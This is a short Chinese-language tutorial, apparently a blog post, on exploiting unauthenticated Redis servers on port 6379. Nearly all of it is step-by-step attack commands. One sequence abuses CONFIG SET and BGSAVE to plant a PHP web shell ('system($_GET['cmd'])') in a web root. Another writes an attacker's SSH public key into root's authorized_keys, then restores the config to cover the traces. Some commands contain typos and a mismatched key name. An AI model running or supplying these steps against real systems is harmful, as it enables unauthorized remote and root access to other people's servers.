一、什么是redis未授权访问漏洞:
1、redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘。主要用于快速缓存,数据转存处理等。默认redis开在6379端口,可以直接访问。并不需要任何认证信息,由此带来了巨大的安全隐患。
2、如何验证redis未授权访问是否开启:
1 #使用kali或者任何linux系统安装redis-cli 2 redis-cli -h target_ip 3 #成功即说明未授权访问。
3、未授权访问如何拿到shell呢,这里讲解redis服务器开在linux上的情况。
(1)写webshell:
条件:有web服务器,根目录已知
1 CONFIG SET dir /path/www/html # 修改备份目录 2 CONGIG SET dbfilename trojan.php # 修改备份文件名为我们的shell名 3 SET trojan "<?php system($_GET['cmd']);?>" 4 BGSAVE 5 DEL payload 6 CONFIG SET dir /usr/local/redis 7 CONGIG SET dbfilename dump.rdb 8 #最好使用CONFIG GET 看看原来啥样就回复成啥样 9
(2)写公钥ssh登录
1 cd /root/.ssh/ 2 ssh-keygen -t rsa 3 /root/.ssh/id_rsa 4 vim /root/.ssh/id_rsa.pub #==== >public key 5 config set dir /root/.ssh/ 6 config set dbfilename authorized_keys 7 set x "public_key" 8 save 9 del x 10 config set dir /usr/local/redis 11 config set dbfilename dump.rdb 12 ssh -i ./id_rsa root@target_ip